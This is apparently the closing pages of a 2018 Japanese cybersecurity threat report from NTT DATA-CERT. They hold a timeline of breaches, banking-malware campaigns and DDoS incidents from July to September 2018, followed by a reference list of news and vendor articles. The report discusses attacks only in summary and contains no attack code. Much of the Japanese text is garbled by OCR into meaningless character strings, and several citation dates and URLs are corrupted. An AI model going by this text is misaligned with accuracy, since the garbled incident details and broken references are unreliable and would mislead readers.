A 7/3 N!S Digitaltt, B&EO I A 8/7 Hova Health, MongoDB(C&2EED
[MENIEER] 1554 RA L | [MENIEHR 123075 )\ﬁb“?_};aﬁéﬂ‘cut
A 7/8 J1yRtA7 S Polar Flow]. A 8/11 Veeam#t. MongoDBI(Z&H3 A A
FEBE?QE’E&E(DEZEJb‘#r*fﬁéi;léﬁjﬁﬁ'ri '|‘§§EJ5&'941%?4,50073{%73"’/.}%]32’1'&\7’;
A 7/17 Telefonica Spain. A 8/23 E—>w4—@E3 7l Sitter ]. MongoDB
BEEOMENBERIZER [CBMENIEIRI9B 3TN ARENTL
=P L
e e V' 4 o/5 saEmr T mspy ). 57— 512
I | Cp3TI51R-MNESEF-2SOMEA
| 1 BEFRIBBE R ADHIAREENTLE
N v : 7
| |

A 7/31 UnityPoint Health, 74y > HIREICLD
BEOMEANERI 1405 ADNRAVDEIRENE |

| A 8/26 Eir. J— NI OEECLOIEAIEIR137000
ASIRANUI, HDDOBESEEENTLENT
A 8/30 FE(BHEEEM. [MEANIBIRISELENT -2
Y17 TORRGS AR, Fi L RS (IR
! A 9/19 Blue Cross. {EEE(CLBHMBA
OIPA IV PyTO— RIZED BN IEER
17000 A D AFEN TV

24



A ;RS : BessiE D XIER

A EHO—IBERE BE : BURF ODERHR
KA LTAVIEREHL TVWBBE. BREEB T, BBEBHEOBENHHET. A HAREARE FHAN-KE- (23T
10 '7H 188 1 98
1 | |
[J] ERitEBIZIH I INEE ! }
| |
! |
A 7/25 %ﬁﬂKrlonos I
A 7/12 GooglePlayZ K7 TA>4—%y N> A 8/1? Necursisﬁ‘yt\*‘yl\fiﬂﬁﬁb[M:'arzpr?Jla'jIT’
+>9%IB59)L917BankBot: Anubis)% ERARSHSERMBI IO R -2 R R R
RSB DRl A 8/21 XESOOEBMBITIES/ >+
) - YIII7Dark TequilalhFEREan:

A 7/23 )\U42J3IVIT7TExobot | 1

ODV—Z]—FU)EJ,Q%EEEEE A 8/23 N>F>93IVI17BackSwap ]

0)1?,—‘;9’9&:7\/?'{ > OERHEBNNB NN

A 8/30 E/J)L—JTCobaltl(c&2037EN—IZT
?ﬁﬁ%&%Eﬁ’&éﬂjﬁliéiﬁﬂiv‘//f—)’iﬁiﬁﬂ

1
A 7/26 Google PlayZR7(ZA > ROIRIT
EIRSROINSF I T IV EFKR U

A 8/6 KED3DDFBESENDNSH —IN—(C
319 BBGP/\A %w’]ﬁz*é@iﬁ%t:f;alu\r:

A 8/8 )\>F>IRIVIIT7IRamnitl@Ed
RIEIEE +v >R~ > [ Black] ’&Eﬁiiﬁﬂ

A 8/8 HRFN.iqy IONIII7ZFAT U AL DI Fv>
R=2% 80, BAREYIC) \“\/:F)’)‘?)II/OIT’F Ursnif (LT3

9’@’7(:4:07‘5%I/ODQEFI’M%E’\JIt?%IﬁZ%:FV)N—D’&Eﬁiﬁﬂbfc

A 8/10 FBIN/\wh—DERITD> AT [\ EFOERD.
HAERMMDATMASELRDREZFIEHIIR
ﬁ’iéf@b(h%&#’/&ﬁﬁ@%ﬁl

|

|

|

|

|

|

| A 8/10 Radware(3 753 )LODLINKDSLEF AJL—5%3HL), DNS/\{

|

|

|

|

| A 8/15 1> ROIRERIBATIEL0ANSTONIZHA /N IREE(CLD
15@ABENT. WVITFEEL, BATOATMY —/UHSREED

| DL Sy - RIERPSWIFT NS> 595 3> B mAvEE NI

| ! N _

A 7/20 O3 7OPIRIR(TIFIREESIL—TITMoneyTaker | A 8/30 Z~4{>MBanco deEspafiald/\wJ5 1

PEOYAN-IRE(CENI2T5 RIVEFNR EZRIL—JTAnonymous Catalonialh5®
1 DDOSKEE(CLNITTHA MWIS LI
A 7/24 ¥EONational Bank(Z8hHT2ED I
P - (324077 RILEENT

25



5. Z=HRCHER

[1] Tyrta—afRatt, “RAEREEO AMEIE IR THE | LU IGIZOVNT,” 20 9 2018, (4T
A]. Available: https://prtimes.jp/main/html/rd/p/000000093.000012906.html.

(2] Tyrea—mfR st “GARE G FRCBET DRI E . K OREE S RILC DWW T,” 219 2018, [
ZA-]. Available: https://prtimes.jp/main/html/rd/p/000000094.000012906.html.

(3] EHMEB R, “T v/t a—nlRAK IS T DITBALITIZOWT,” 25 9 2018. [A 2T 1] Available:
http://kinki.mof.go.jp/file/rizai/pagekinkihp025000049.html.

[4] Group-IB, “Group—IB: 14 cyber attacks on crypto exchanges resulted in a loss of $882 million,” 17 10 2018. [4
T A>]. Available: https://www.group—ib.com/media/gib—crypto—summary/ .

[5] CNET Japan, “fRAEL@EEIRGIFT Binance (KB, [SYS AR ml§— xS A& TEERTONZ),” 5 7
2018. [ F1>]. Available: https://japan.cnet.com/article/35121982/.

[6] Bancor, “The Road Ahead,” 12 7 2018. [4 > 71> ]. Available: https://blog.bancor.network/the-road—ahead—
e773dcbf7603.

[7] Bleeping Computer, “KickICO Platform Loses $7.7 Million in Recent Hack,” 30 7 2018. [4> 71 >]. Available:
https://www.bleepingcomputer.com,/news/security/kickico—platform—loses—77-million—-in-recent—hack/.

[8] Monappy, “Monappy (23175 Monacoin @ RIEH &I DEFELT,” 2 9 2018. [A T A2 ]. Available:
https://medium.com/@IndieSquare/monappy%E3%8 1%AB%E3%8 1%8 A%E3%8 1%9 1%E3%82%8BmonacoinbE3%8 1%AE%
E4%B8%SD%E6%AD%A3%ES%E7%BAREI%E 7% 1%E3%8 1%ABRE3%81%A4%E3%8 1%8DUE3%S 1%BERE3%81%97%E3%8 1%A
6-bdb1179e2bb9.

[9] Qihoo 360, “New CryptoMiner hijacks your Bitcoin transaction. Over 300,000 computers have been attacked,” 13
6 2018. [A 2 F A2 ]. Available: https://blog.360totalsecurity.com/en/new—cryptominer—hijacks—your—bitcoin—
transaction—over—-300000—computers—have—been—attacked/.

[10] Security Affairs, “Trezor users targeted by phishing attacks, experts blame DNS Poisoning or BGP Hijacking,” 2
7 2018. A7 1> ]. Available: https://securityaffairs.co/wordpress/74075/hacking/trezor—phishing.html.

[11] Trezor, “[PSA] Phishing Alert: Fake Trezor Wallet website,” 1 7 2018. [ 4 > 7 A > ]. Available:
https://blog.trezor.io/psa—phishing—alert—fake—trezor-wallet-website—3bcfdfc3eced.

[12] Malwarebytes, “Obfuscated Coinhive shortlink reveals larger mining operation,” 3 7 2018. 4> F1>-]. Available:
https://blog.malwarebytes.com/threat—analysis/2018/07/obfuscated—coinhive—shortlink—reveals—larger-mining—
operation/.

[13] ZDNet Japan, “423€D 3 hU —2 400l OBl SER i~ /L7 =7 TPowerGhost J,” 31 7 2018. [A > FA].
Available: https://japan.zdnet.com/article/35123292/.

[14] Kaspersky, “A mining multitool,” Kaspersky, 26 7 2018. [4">71>]. Available: https://securelist.com/a-mining—
multitool/86950/.

[15] Symantec, “ MikroTik #t & /v — &% — @ & Y 2 JE B ,” 14 8 2018. [ A > T A » ]. Available:
https://www.symantec.com/connect/ja/blogs/mikrotik.

26



[16] Bleeping Computer, “Over 3,700 MikroTik Routers Abused In CryptoJacking Campaigns,” 10 9 2018. [A> A
v ). Available: https://www.bleepingcomputer.com/news/security/over—3-700-mikrotik—routers—abused—in—
cryptojacking—campaigns/ .

[17] CNET Japan, “[Google Play |ANT | (RABM G~ A =27 T FVEEEIE,” 30 7 2018. [A > F1>]. Available:
https://japan.cnet.com/article/35123215/.

(18] F AR F AT, “IAE@EEOMSIEE, Ko B 1T B47,” 29 8 2018. [A> T 1], Available:
https://www.nikkei.com/article/DGXMZ034731350Z20C18A8CR8000/.

[19] @y, “ M8 0 g R HEEICHE TR ) (BF5E) M FXE,” 12 9 2018. [A T 1] Available:
https://www.fsa.go.jp/news/30/singi/20180912.html.

[20] Trend Micro, “2018 4F L vF =0T 4TV R T Y7 T RRHROZEGEF #AIH,” 3 9 2018, AT 1.
Available: https://resources.trendmicro.com/jp—docdownload—thankyou-m087-web—20181h-
securityroundup.html.

[21] INTERNET Watch, “Zo 4 L0 =7 TSamSam | #ERAHIL 590 JTR/VLLEIC, B EO TR F 21> TR
#2724 8 2018. A>T A2 ]. Available: https://internet.watch.impress.co.jp/docs/news/1139672.html.

[22] JPCERT/CC, “Z v ¥ L v 7 W& Y A, " 26 10 2017. [ A > 7 A > 1. Available:
https://www.jpcert.or.jp/magazine/security/nomore-ransom.html#4.

75 7 2018. [A T A ] Available:

https://securelist.com/to—crypt—or—to—mine—that—is—the—question/86307/.

[23] Kaspersky, “ To crypt, or to mine - that is the question,

[24] Bleeping Computer, “Ransomware Infection Cripples Shipping Giant COSCO’s American Network,” 25 7 2018. [
1], Available: https://www.bleepingcomputer.com/news/security/ransomware—infection—cripples—shipping—
glant—coscos—american—network/.

[25] AJC, “CONFIDENTIAL REPORT: Atlanta’s cyber attack could cost taxpayers $17 million,” 1 8 2018. [A> A
N 1. Available: https://www.ajc.com/news/confidential-report—atlanta—cyber—attack—could—hit—
million/ GAljmndAF3EQdVWIMcXS0K/.

[26] CNET Japan, “ T34 D5 KX WannaCry | O #iffi——[iPhone] [All} #7714 ¥ — TSMC 73%83%,” 7 8 2018.
(A>T A>]. Available: https://japan.cnet.com/article/35123656/.

[27] TSMC, “ TSMC Details Impact of Computer Virus Incident,” 5 8 2018. [ A4 > F A > ]. Available:
http://www.tsme.com/tsmcdotcom/PRListingNewsAction.do?action=detail&newsid=THHIANTHTH&language=FE.

[28] Kaspersky, “KeyPass ransomware,” 13 8 2018. [4 > T A > ]. Available: https://securelist.com/keypass—
ransomware/87412/.

[29] Fortinet, “GandCrab V4.0 Analysis: New Shell, Same Old Menace,” 9 7 2018. [>T A > ]. Available:
https://www.fortinet.com/blog/threat-research/gandcrab—v4-0-analysis——new—shell-—same—old—-menace.html.

[30] Bleeping Computer, “GandCrab v5 Ransomware Utilizing the ALPC Task Scheduler Exploit,” 26 9 2018. [4>Z
A]. Available: https://www.bleepingcomputer.com/news/security/gandcrab—v5-ransomware—utilizing—the—alpc—

task—scheduler—exploit/.

27



[31] TrendMicro, “A Closer Look at the Locky Poser, PyLocky Ransomware,” 10 9 2018. [ FA>]. Available:
https://blog.trendmicro.com/trendlabs—security—intelligence/a—closer-look—at—the—locky—poser—pylocky-

ransomware/ .

[32] Malwarebytes, “GandCrab ransomware distributed by RIG and GrandSoft exploit kits,” 10 5 2018. [A>F 1 ].
Available:  https://blog.malwarebytes.com/threat—analysis/2018/01/gandcrab—ransomware—distributed—by-rig—
and—grandsoft—exploit—kits/.

[33] Trend Micro, “[7Z7URKHAROBFENEH ZANT v U TFERDEHE, 2018 4F o0& si@h iz 54, 3
9 2018. A~ 71>]. Available: https://blog.trendmicro.co.jp/archives/19461.

[34] Bitglass, “ Raiders of EMEA Cloud Adoption Report, 7 22 8 2018. [ 4 > T A » ]. Available:
https://www.bitglass.com/press—releases/emea—cloud—adoption—2018.

[35] Hi#E BP, “Microsoft |% Office 365 FATEdEZRAE~ ? Gartner 25 T-#I,” 22 6 2018. [A T 1], Available:
https://tech.nikkeibp.co.jp/it/atcl/idg/14/481542/062200519/.

[36] AAREFHR, “SURHE A Office365 DfAA—/WTIEEMEL, 6 KFTHE,” 2 7 2018. [T, Available:
https://www.nikkei.com/article/DGXMZ032489620S8A700C1000000/.

[37] Vade Secure, “Microsoft Takes Top Spot in Inaugural Phishers’ Favorites Top 25 List,” [4 71 ]. Available:
https://www.vadesecure.com/en/phishers—favorites—q2-2018/.

[38] Avanan, “PhishPoint: New SharePoint Phishing Attack Affects an Estimated 10% of Office 365 Users,” 14 8 2018.
(AT A ]. Available: https://www.avanan.com/resources/phishpoint—attack.

B9 AREE YRR, “ZA7 =7 NRAU—F 16 [EIHFOMHZME,” 7 9 2018. [F T A ] Available:
https://business.nikkeibp.co.jp/atcl/report/15/110879/090500857/.

[40] 4iQ, “1.4 Billion Clear Text Credentials Discovered in a Single Database,” 9 12 2017. [4>FA.7]. Available:

https://medium.com/4igdelvedeep/1-4-billion—clear-text—credentials—discovered—in—a—single-database—

3131d0alael4.
[41] HackRead, “3,000 Databases with 200 Million Unique accounts found on Dark Web,” 23 2 2018. 4> F1].

Available: https://www.hackread.com/3000—-databases—200—-million—unique—accounts—exposed—dark—web/.

[42] Security NEXT, “Id 7HV b ~DIPW UANKEE || BCEEBIRIIASNIE T - A HRTHITEE,” 24 8
2018. A1 ]. Available: http://www.security—next.com/096892.

[43] MR AET A AT T 43, “eolD ITHTHREROT ANIONTORBHLE,” 15 8 2018. AT ]
Auvailable: http://www.k—opti.com/announce/180815/.

4] A== T4 7RAEAL, “TsmartWAON U =7 %A IZB T HRIERT A AIDNWT Bre LA R
OFIHHE,” 21 9 2018. 4T A>]. Available: http://www.aeonmarketing.co.jp/pdf/news_20180915.pdf.

[45] ZDNet Japan, “8 FILL L3 SAT —RZHWOEIL—FRS/ —hOATTRE DK ZE,” 5 10 2017. (AT A].
Available: https://japan.zdnet.com/article/35108358/.

[46] IPA, “STOP! N AU —RKfEWEL!F ¥y X —2 20187 2 8 2018. [ A > T A > ]. Available:
http://www.jpcert.or.jp/pr/2018/stop—password2018.html.

28



[47]1PA, “ R IE m 7 A v b 3R f £~ — ¥, 7 8 3 2018. [ 4 » F A » 1. Available:
https://www.ipa.go.jp/security/anshin/account_security.html.

[48] FBI, “BUSINESS E-MAIL COMPROMISE THE 12 BILLION DOLLAR SCAM,” 12 7 2018. [4> 74> ~]. Available:
https://www.ic3.gov/media/2018,/180712.aspx.

[49] B AREFATE, “REEIA— VFEE THEEZ1F72139%, 7 156 8 2018. [A 7 1] Available:
https://www.nikkei.com/article/DGKKZ034138700U8A810C1CR8000/ .

[50] IPA, “[VEEMAE ]S 0 E~DREE R CVRAA—LFEROF O (FiH) ,” 27 8 2018. [F T 1],
Available: https://www.ipa.go.jp/security/announce/201808-bec.html.

[51] Security NEXT, “THRHEHO BRI T 7o b THIA— /TR, — BORFHEAETH,” 5 9 2018, [42F4
>]. Available: http://www.security—next.com/097615.

[62] JPCERT/CC, “MRABEEZHEKT DA ARGFEDOEHEA—/LITHONT,” 20 9 2018. [A T A ]. Available:
https://www.jpcert.or.jp/newsflash/2018091901.html.

[63] Trend Micro, “TflilEAREI AR—a NCEDPEHEIEAE T | FEIA—/L TEEREDR,” 4 10 2018, [ArTA].
Available: https://is702.jp/news/3379/.

[54] Bloomberg, “mts 7 1EHIBEBI D N 1 — EEBENE Y baA A — K2 F,” 16 7 2018. [T 1].
Available: https://www.bloomberg.co.jp/news/articles/2018—-07-16/PBYEZA6S973K01.

[55] NHK, “A> 7T ~DY A=W {2 KBUF B RaE~,” 1 8 2018. [A T A ]. Available:
https://www3.nhk.or.jp/news/html/20180801/k10011558911000.html.

[56] 5l B TR, “RBURF, YA N—HIEZRE AL 8 THOEEZR 11C,” 21 9 2018, [A T A ]. Available:
https://www.asahi.com/articles/ASLIP2C52L.9PUHBI009. html.

[57] Bleeping Computer, “Microsoft Says It Blocked Attempts at Hacking Midterm Campaigns,” 19 7 2018. [A> 71
> 1. Available: https://www.bleepingcomputer.com/news/government/microsoft—says—it-blocked—attempts—at—
hacking—midterm—campaigns/.

[58] Bleeping Computer, “Microsoft Disrupts APT28 Hacking Campaign Aimed at US Midterm Elections,” 21 8 2018.
(A>T A4 ]. Available: https://www.bleepingcomputer.com/news/security/microsoft—disrupts—apt28—hacking—
campaign—aimed—at—us—midterm—elections/.

[59] F5, “Cyber Attacks Spike in Finland Before Trump-Putin Meeting,” 19 7 2018. [4 > F A ]. Available:
https://www.f5.com/labs/articles/threat-intelligence/cyber—attacks—spike—in—finland-before~trump-putin-
meeting.

[60] JPRS, “HHE SSLAKIZDOUVNT,” 5 2018. A>T A2 ]. Available: https://jprs.ip/pubcert/about/aossl/.

6113t M fE, “BEAKRY Ab, B2 RICEN,” 14 7 2018. [4 ¥ 7 1] Available:
https://this.kiji.is/390802611315754081?c=39546741839462401.

[62] Google, “A milestone for Chrome security: marking HTTP as “not secure”,” 24 7 2018. [4"> 71> ]. Available:

https://www.blog.google/products/chrome/milestone—chrome—security—marking—http—not—secure/.

[63] S. Helme, “ Alexa Top 1 Million Analysis — August 2018,” 24 8 2018. [ 4 > 7 A > ]. Available:

29



https://scotthelme.co.uk/alexa—top—1-million—analysis—august-2018/.

[64] i E5 PERSME AR - SLIRT R BRI 2, A & — o b RO A M 2B B R (5),” 4 2018. [~
ZA]. Available: https://www.kantei.go.jp/jp/singi/titeki2/180413/siryou2.pdf.

[65] LRy hah, “8 2 [ Y AhTuydrreh@fEOmE | OBER,” 15 6 2018. [A2 T 1], Available:
https://business.bengo4.com/category5/article371.

[66] & FHE &8, “HMAVMERBAT S LRI RBEZHE,” 13 4 2018. [F 2T A ] Available:
http://www.kantei.go.jp/ip/singi/titeki2/180413/gijisidai.html.

[67]NTT, “A> =3 b EOUEIRY A M%7 0y% 7 O FHEIOVT,” 23 4 2018. [A2 T A1, Available:
http://www.ntt.co.jp/news2018/1804/180423a.html.

[68] 51 AR, “VBMUR Y AR, FLEST METRERITIEHIRIESZ,” 16 10 2018. [F T ]. Available:
https://www.asahi.com/articles/ASLBH5WS8SLBHUCLVO0OL.html.

[69]FFHTA7, “FANTry X 7T OMAAMALEORBEREIT 2,7 18 7 2018. [A T4 ]. Available:
https://radiolife.com/internet/virus/25001/.

[70] Bloomberg, “7" 7 42 ApB AR H O A RENE — 245 7 DB IZY A7, 29 6 2018. [ FA]. Available:
https://www.bloomberg.co.jp/news/articles/2018-06-29/PB2A8I6K50XWO01.

[71] Timehop, TIMEHOP SECURITY INCIDENT, JULY 4TH, 2018, 4 7 2018. [ 4 » 7 A > 1. Available:

https://www.timehop.com/security/.

[72] Reddit, “We had a security incident. Here’s what you need to know.,” 2 8 2018. [4 > T A ]. Available:
https://www.reddit.com/r/announcements,/comments/93qnm5/we_had_a_security_incident_heres_what_you_need_to
/.

(73] AAHREHHTR, “S o WA — AN 150 TAMH V—8EMbkE,” 20 7 2018. [A 7], Available:
https://www.nikkei.com/article/DGXMZ033227640Q8A720C1FF8000/.

[74] RAKE R BTEE, “3¢ BA OREHWMH, EShDd GDPR *IS,” 11 9 2018. [A T A ] Available:
https://www.nikkei.com/article/DGXMZ035210560R10C 18A9TJ1000/.

[75] RisklQ, “Inside the Magecart Breach of British Airways: How 22 Lines of Code Claimed 380,000 Victims,” 11 9
2018. 471 >]. Available: https://www.riskiq.com/blog/labs/magecart—british—airways—breach/.

[76] HAREHBH, “HEATT0 10T, fabatk 150 fF WEEDREME,” 4 7 2018. [ T1]. Available:
https://www.nikkei.com/article/DGXMZ032596770U8A700C1000000/.

[77] INTERNET Watch, “3 430 2 A3L—%—D ID /7SR —R &R | 4 H|73E PEE i OFAEZ H 5T ~Avast
7,7 20 7 2018. A>T A>]. Available: https://internet.watch.impress.co.jp/docs/news/1133918.html.

[78] Fortinet, “Hide ‘N Seek: From Home Routers to Smart Home Insecurities,” 23 7 2018. [4> 71 >]. Available:
https://www.fortinet.com/blog/threat-research/hide——n—seek—from—home-routers—to—smart—home—

insecurities.html?utm_source=security_week.

[79] Trend Micro, “Open ADB Ports Being Exploited to Spread Possible Satori Variant in Android Devices,” 23 7 2018.
(A4 v T A ]. Available: https://blog.trendmicro.com/trendlabs—security—intelligence/open—adb—ports—being—

30



exploited—to—spread—possible—satori-variant—in—android—devices/.

[80] Palo Alto Networks, “Multi—exploit loT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall,” 9 9
2018. [A4 v 7 A > ). Available: https://researchcenter.paloaltonetworks.com/2018/09/unit42—-multi—exploit—

iotlinux—botnets—mirai—gafgyt—target—apache—struts—sonicwall/.

2018 47 10 H 31 HRAT

RS NTT 7 —#
TR VTAHIT EHREF2V T HEHEZR NTTDATA-CERT #7324
nttdata—cert@kits.nttdata.co.jp

31



